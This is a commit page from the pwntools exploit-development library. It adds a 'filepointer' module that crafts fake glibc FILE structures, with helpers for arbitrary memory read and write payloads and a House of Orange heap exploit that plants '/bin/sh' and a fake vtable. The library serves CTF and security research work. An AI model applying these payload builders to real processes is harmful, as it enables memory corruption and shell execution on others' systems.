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Adding support for FileStructure exploitation (#1218)

* Adding support for FileStructure exploitation

* Actually run the tests + basic py3 fixes

also rename the module to lower case to keep consistency

* Python 3 working
  • Loading branch information
vigneshsrao authored and Arusekk committed Dec 9, 2019
1 parent b78fd6e commit 59c78105e1200498c15075742da35e99a89f5fa7
Showing with 349 additions and 0 deletions.
  1. +9 −0 docs/source/filepointer.rst
  2. +1 −0 docs/source/index.rst
  3. +1 −0 pwn/toplevel.py
  4. +338 −0 pwnlib/filepointer.py
@@ -0,0 +1,9 @@
.. testsetup:: *

from pwnlib.filepointer import *

:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
============================================================

.. automodule:: pwnlib.filepointer
:members:
@@ -54,6 +54,7 @@ Each of the ``pwntools`` modules is documented here.
encoders
elf
exception
filepointer
flag
fmtstr
gdb
@@ -29,6 +29,7 @@
from pwnlib.encoders import *
from pwnlib.exception import PwnlibException
from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
from pwnlib.filepointer import *
from pwnlib.flag import *
from pwnlib.fmtstr import FmtStr, fmtstr_payload
from pwnlib.log import getLogger
@@ -0,0 +1,338 @@
# -*- coding: utf-8 -*-

r"""
File Structure Exploitation
struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location.
Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(null=0xdeadbeef)
>>> fileStr.vtable = 0xcafebabe
>>> payload = bytes(fileStr)
>>> payload
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
Currently only 'amd64' and 'i386' architectures are supported
"""

from __future__ import absolute_import
from __future__ import division

from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.packing import pack

log = getLogger(__name__)

length=0
size='size'
name='name'

variables={
0:{name:'flags',size:length},
1:{name:'_IO_read_ptr',size:length},
2:{name:'_IO_read_end',size:length},
3:{name:'_IO_read_base',size:length},
4:{name:'_IO_write_base',size:length},
5:{name:'_IO_write_ptr',size:length},
6:{name:'_IO_write_end',size:length},
7:{name:'_IO_buf_base',size:length},
8:{name:'_IO_buf_end',size:length},
9:{name:'_IO_save_base',size:length},
10:{name:'_IO_backup_base',size:length},
11:{name:'_IO_save_end',size:length},
12:{name:'markers',size:length},
13:{name:'chain',size:length},
14:{name:'fileno',size:4},
15:{name:'_flags2',size:4},
16:{name:'_old_offset',size:length},
17:{name:'_cur_column',size:2},
18:{name:'_vtable_offset',size:1},
19:{name:'_shortbuf',size:1},
20:{name:'unknown1',size:-4},
21:{name:'_lock',size:length},
22:{name:'_offset',size:8},
23:{name:'_codecvt',size:length},
24:{name:'_wide_data',size:length},
25:{name:'unknown2',size:length},
26:{name:'vtable',size:length}
}


def update_var(l):
r"""
Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
Arguments:
l(int)
l=8 for 'amd64' architecture and l=4 for 'i386' architecture
Return Value:
Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
Examples:
>>> update_var(8)
{'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
"""
var={}
for i in variables:
var[variables[i]['name']]=variables[i]['size']
for i in var:
if var[i]<=0:
var[i]+=l
if l==4:
var['unknown2']=56
else:
var['unknown2']=48
return var

class FileStructure(object):
r"""
Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
Arguments:
null(int)
A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
Examples:
FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(null=0xdeadbeeef)
>>> fileStr.flags = 0xfbad1807
>>> fileStr._IO_buf_base = 0xcafebabe
>>> fileStr._IO_buf_end = 0xfacef00d
>>> payload = bytes(fileStr)
>>> payload
b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Check the length of the FileStructure
>>> len(fileStr)
224
The defination for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
>>> q=FileStructure(0xdeadbeef)
>>> q
{ flags: 0x0
_IO_read_ptr: 0x0
_IO_read_end: 0x0
_IO_read_base: 0x0
_IO_write_base: 0x0
_IO_write_ptr: 0x0
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x0
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0xdeadbeef
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0xdeadbeef
unknown2: 0x0
vtable: 0x0}
"""

vars_=[]
length={}

def __init__(self, null=0):
self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
self.setdefault(null)
self.length = update_var(context.bytes)
self._old_offset = (1 << context.bits) - 1

def __setattr__(self,item,value):
if item in FileStructure.__dict__ or item in self.vars_:
object.__setattr__(self,item,value)
else:
log.error("Unknown variable %r" % item)

def __repr__(self):
structure=[]
for i in self.vars_:
structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
return "{"+ "\n".join(structure)+"}"

def __getattr__(self,item):
if item in FileStructure.__dict__ or item in self.vars_:
return object.__getattribute__(self,item)
log.error("Unknown variable %r" % item)

def __len__(self):
return len(bytes(self))

def __bytes__(self):
structure = b''
for val in self.vars_:
if isinstance(self.__getattr__(val), bytes):
structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
else:
structure += pack(self.__getattr__(val), self.length[val]*8)
return structure
__str__ = __bytes__

def struntil(self,v):
r"""
Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
Arguments:
v(string)
The name of the field uptil which the payload should be created.
Example:
Payload for data uptil _IO_buf_end
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.struntil("_IO_buf_end")
>>> payload
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
"""
if v not in self.vars_:
return b''
structure = b''
for val in self.vars_:
if isinstance(self.__getattr__(val), bytes):
structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
else:
structure += pack(self.__getattr__(val), self.length[val]*8)
if val == v:
break
return structure[:-1]

def setdefault(self,null):
self.flags=0
self._IO_read_ptr=0
self._IO_read_end=0
self._IO_read_base=0
self._IO_write_base=0
self._IO_write_ptr=0
self._IO_write_end=0
self._IO_buf_base=0
self._IO_buf_end=0
self._IO_save_base=0
self._IO_backup_base=0
self._IO_save_end=0
self.markers=0
self.chain=0
self.fileno=0
self._flags2=0
self._old_offset=0
self._cur_column=0
self._vtable_offset=0
self._shortbuf=0
self.unknown1=0
self._lock=null
self._offset=0xffffffffffffffff
self._codecvt=0
self._wide_data=null
self.unknown2=0
self.vtable=0

def write(self,addr=0,size=0):
r"""
Writing data out from arbitrary memory address.
Arguments:
addr(int)
The address from which data is to be printed to stdout
size(int)
The size, in bytes, of the data to be printed
Example:
Payload for writing 100 bytes to stdout from the address 0xcafebabe
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.write(addr=0xcafebabe, size=100)
>>> payload
b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
"""
self.flags &=~8
self.flags |=0x800
self._IO_write_base = addr
self._IO_write_ptr = addr+size
self._IO_read_end = addr
self.fileno = 1
return self.struntil('fileno')

def read(self,addr=0,size=0):
r"""
Reading data into arbitrary memory location.
Arguments:
addr(int)
The address into which data is to be written from stdin
size(int)
The size, in bytes, of the data to be written
Example:
Payload for reading 100 bytes from stdin into the address 0xcafebabe
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.read(addr=0xcafebabe, size=100)
>>> payload
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
"""
self.flags &=~4
self._IO_read_base = 0
self._IO_read_ptr = 0
self._IO_buf_base = addr
self._IO_buf_end = addr+size
self.fileno = 0
return self.struntil('fileno')

def orange(self,io_list_all,vtable):
r"""
Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
Arguments:
io_list_all(int)
Address of _IO_list_all in libc.
vtable(int)
Address of the fake vtable in memory
Example:
Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
>>> payload
b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
"""
if context.bits == 64:
self.flags = b'/bin/sh\x00'
self._IO_read_ptr = 0x61
self._IO_read_base = io_list_all-0x10
elif context.bits == 32:
self.flags = b'sh\x00'
self._IO_read_ptr = 0x121
self._IO_read_base = io_list_all-0x8
self._IO_write_base = 0
self._IO_write_ptr = 1
self.vtable = vtable
return self.__bytes__()

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